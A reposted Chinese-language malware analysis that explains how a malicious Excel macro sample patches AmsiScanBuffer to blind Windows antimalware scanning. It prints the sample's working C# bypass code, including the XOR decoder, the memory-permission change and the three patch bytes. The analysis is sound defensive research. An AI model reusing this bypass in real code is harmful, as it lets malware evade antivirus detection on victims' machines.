恶意软件如何绕过AMSI检测以逃避检测

栏目: 编程工具 · 发布时间: 5年前

内容简介:前言在本文中,我将详细介绍一种禁用恶意软件概述

前言

在本文中,我将详细介绍一种禁用 反恶意软件扫描接口(AMSI) 的技术。这是在Microsoft Windows中的一个内部功能,用于使用系统上安装的反恶意软件对数据进行扫描。我们举例说明,该特性允许应用程序在将数据写入文件之前,请求扫描下载的数据。如果一个恶意软件可以禁用此接口,那么它就可以逃避反病毒检测。在本文中,我们将对从客户那里拿到的一个恶意样本进行详细分析,并看看样本是如何绕过AMSI的。

恶意软件概述

在RTF格式的Excel文档中,都包含经过模糊后的宏:

恶意软件如何绕过AMSI检测以逃避检测

通过阅读这个混淆后的代码,我们发现它以混淆后的形式,运行一个位于单元格G135内的命令:

恶意软件如何绕过AMSI检测以逃避检测

经过这些多层次的混淆后,Excel文档宏最终会启动PowerShell。由于我们使用 工具 监控了隔离的虚拟机内部发生的活动,因此我们无需手动对这些层进行反模糊处理。经过对恶意文档威胁进行分析后,我们得到了PowerShell将要执行的完整脚本:

恶意软件如何绕过AMSI检测以逃避检测

最终,该脚本尝试从被攻陷的网站下载可执行文件,然后执行该文件,这是一种非常常见的技术。该脚本甚至将请求中用户代理(User-agent)设置为明显无意义的字符串,被感染的服务器可能会利用该字符串来定制下载的Payload,或者使用它来跟踪不同的被感染主机。

禁用反病毒API

然而,在我们所分析的样本中,使用了一个不常见的技术。PowerShell脚本首先将一些经过XOR异或混淆的Base16编码文本转换为C#脚本,该脚本会禁用某些Microsoft反病毒API,以避免文件在下载时被扫描。

这一过程 使用PowerShell中的Add-Type命令加载一些C#代码 来实现此目的。加载这一C#代码后,PowerShell实例调用名为“o15b72”的类上的“rbc5492”方法,然后休眠1秒,之后下载并运行Payload以进行下一阶段的攻击。

C#代码使用以下的本地API:

     [DllImport("kernel32")]
     public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
     [DllImport("kernel32")]
     public static extern IntPtr LoadLibrary(string name);
     [DllImport("kernel32")]
     public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint
flNewProtect, out uint lpflOldProtect);
     [DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)]
     static extern void MoveMemory(IntPtr dest, IntPtr src, int size);

我们最后再来分析“rbc5492”方法,该类中唯一存在的另一种方法是“v4bad81”:

       public static string v4bad81(string strIn)
{
          string rbf4534 = "a25baab";
     string m941db = String.Empty;
     for (int i = 0; i < strIn.Length; i += 2)
     {
       byte b72323 = Convert.ToByte(strIn.Substring(i, 2), 16);
       m941db += (char)(b72323 ^ rbf4534[(i / 2) % rbf4534.Length]);
     }
 
     return m941db;
}

在该方法的代码中,存在一些奇怪的缩进格式,可能表明恶意软件作者从其他地方复制了一些代码,或者没有对编写的代码进行良好的代码审查。

这个“v4bad81”方法,将接受一个字符串作为输入,对其执行一些解码,然后返回该字符串。

它会逐步遍历输入的字符串,每次2个字符,并使用Convert.ToByte以十六进制对其进行解码,具体是由第二个参数的16和字符串中的数字来定义的。然后,恶意软件会获取该值,并使用从“rbf4534”中提取的值对其进行异或,并将其附加到最终输出字符串。

混淆特定字符串

有趣的是,这种基于XOR的混淆方法与用于混淆C#代码的方法完全相同,甚至使用与PowerShell函数相同的密钥和方法名称。

接下来,就很自然把我们引导了“rbc5492”方法,我们将其拆解成几个部分,并逐一进行分析:

public static int rbc5492()
{
     IntPtr k98a91f = LoadLibrary(v4bad81("005f460b4f050e0d"));
     if (k98a91f == IntPtr.Zero)
     {
       return 1;
     }

这部分代码将加载由模糊字符串“005f460b4f050e0d”描述的库。使用反混淆方法对其进行处理,我们将得到“amsi.dll”。因此,该代码只是加载反恶意软件扫描接口(AMSI)DLL的句柄。

     IntPtr wc852 = GetProcAddress(k98a91f, v4bad81("205f460b3202030f704004070410"));
     if (wc852 == IntPtr.Zero)
     {
     return 1;
     }

然后,代码的下一部分使用该DLL句柄在混淆的字符串“205f460b3202030f704004070410”中加载函数的地址,该字符串去混淆后的原文为“AmsiScanBuffer”。此函数用于扫描缓冲区中的恶意软件内容。

     UIntPtr dwSize = (UIntPtr)5;
     uint Zero = 0;
     if (!VirtualProtect(wc852, dwSize, 0x40, out Zero))
     {
     return 1;
     }

然后,下一部分代码会将 “AmsiScanBuffer” 代码的内存权限更改为0x40,即PAGE_EXECUTE_READWRITE。这是为了允许恶意软件修改代码。

       Byte[] Patch = { 0x31, 0xff, 0x90 };
       IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
       Marshal.Copy(Patch, 0, unmanagedPointer, 3);
       MoveMemory(new IntPtr(wc852.ToInt64() + 0x001b), unmanagedPointer, 3);
       return 0;
     }

这会将三个字节的内存复制到“AmsiScanBuffer”函数的0x1b(十进制为27)的偏移量中。执行此操作后,将会返回,这将返回到PowerShell脚本,该脚本会在下载之前休眠1秒钟。

那么,到AmsiScanBuffer函数的27个字节是什么?在64位 Windows 10 Redstone 4系统中,如下所示,修改后的指令在00007fff`f479243b处以红色突出显示(位于倒数第2行):

amsi!AmsiScanBuffer:
00007fff`f4792420 4c8bdc           mov     r11, rsp
00007fff`f4792423 49895b08         mov     qword ptr [r11+8], rbx
00007fff`f4792427 49896b10         mov     qword ptr [r11+10h], rbp
00007fff`f479242b 49897318         mov     qword ptr [r11+18h], rsi
00007fff`f479242f 57               push    rdi
00007fff`f4792430 4156             push    r14
00007fff`f4792432 4157             push    r15
00007fff`f4792434 4883ec70         sub     rsp, 70h
00007fff`f4792438 4d8bf9           mov     r15, r9
00007fff`f479243b 418bf8           mov     edi, r8d <- Modified instruction
00007fff`f479243e 488bf2           mov     rsi, rdx
…

写入内存的三个字节会将修改后的指令转换为两条指令:

00007fff`f479243b 31ff             xor     edi, edi
00007fff`f479243d 90               nop

在这里,只需将edi设置为0,即可替换将r8d复制到edi的指令。这是因为,r8d在 x64调用约定 (Calling Convention)中保存了第三个函数参数。AmsiScanBuffer函数的原型是:

     HRESULT AmsiScanBuffer(
     HAMSICONTEXT amsiContext,
     PVOID        buffer,
     ULONG        length,
     LPCWSTR      contentName,
     HAMSISESSION amsiSession,
     AMSI_RESULT  *result
);

通过确保第三个参数始终被视为0,该过程使得AmsiScanBuffer无效,因为它会始终认为正在扫描长度为0的缓冲区。由于这一修补过程是在PowerShell中完成的,因此结果是,PowerShell进程(并且只有该进程)对AmsiScanBuffer进行的任何调用都无效。这可以防止PowerShell将下载的代码传递给反恶意软件工具进行扫描,从而允许将恶意数据写入文件。

我们推测,PowerShell在这一C#代码之后执行1秒睡眠的原因,是为了确保刷新CPU指令缓存,后者是修改代码的过程中必须要执行的操作。但是,如果要实现这样的目的,我们不清楚为什么恶意软件没有选择使用 FlushInstructionCache

总结

其他的一些研究人员发现,禁用AMSI是一些 漏洞利用工具包 中提供的功能,因此我们可能会在野外观察到一些恶意软件中具有这一特性,并会执行禁用AMSI的操作。然而,在这一样本中所使用的C#代码与去年发布的 概念验证代码 非常相似,但这个样本中增加了对库名称和函数名称的混淆。

借助一些安全平台,可以使用轻量级虚拟机实现恶意软件的隔离,并且可以从外部查看该虚拟机,此类技术可以向用户提供检测或保护。


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

程序员修炼之道

程序员修炼之道

Andrew Hunt、David Thomas / 马维达 / 电子工业出版社 / 2011-1 / 55.00元

《程序员修炼之道:从小工到专家》内容简介:《程序员修炼之道》由一系列独立的部分组成,涵盖的主题从个人责任、职业发展,知道用于使代码保持灵活、并且易于改编和复用的各种架构技术,利用许多富有娱乐性的奇闻轶事、有思想性的例子及有趣的类比,全面阐释了软件开发的许多不同方面的最佳实践和重大陷阱。无论你是初学者,是有经验的程序员,还是软件项目经理,《程序员修炼之道:从小工到专家》都适合你阅读。一起来看看 《程序员修炼之道》 这本书的介绍吧!

HTML 编码/解码
HTML 编码/解码

HTML 编码/解码

SHA 加密
SHA 加密

SHA 加密工具

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换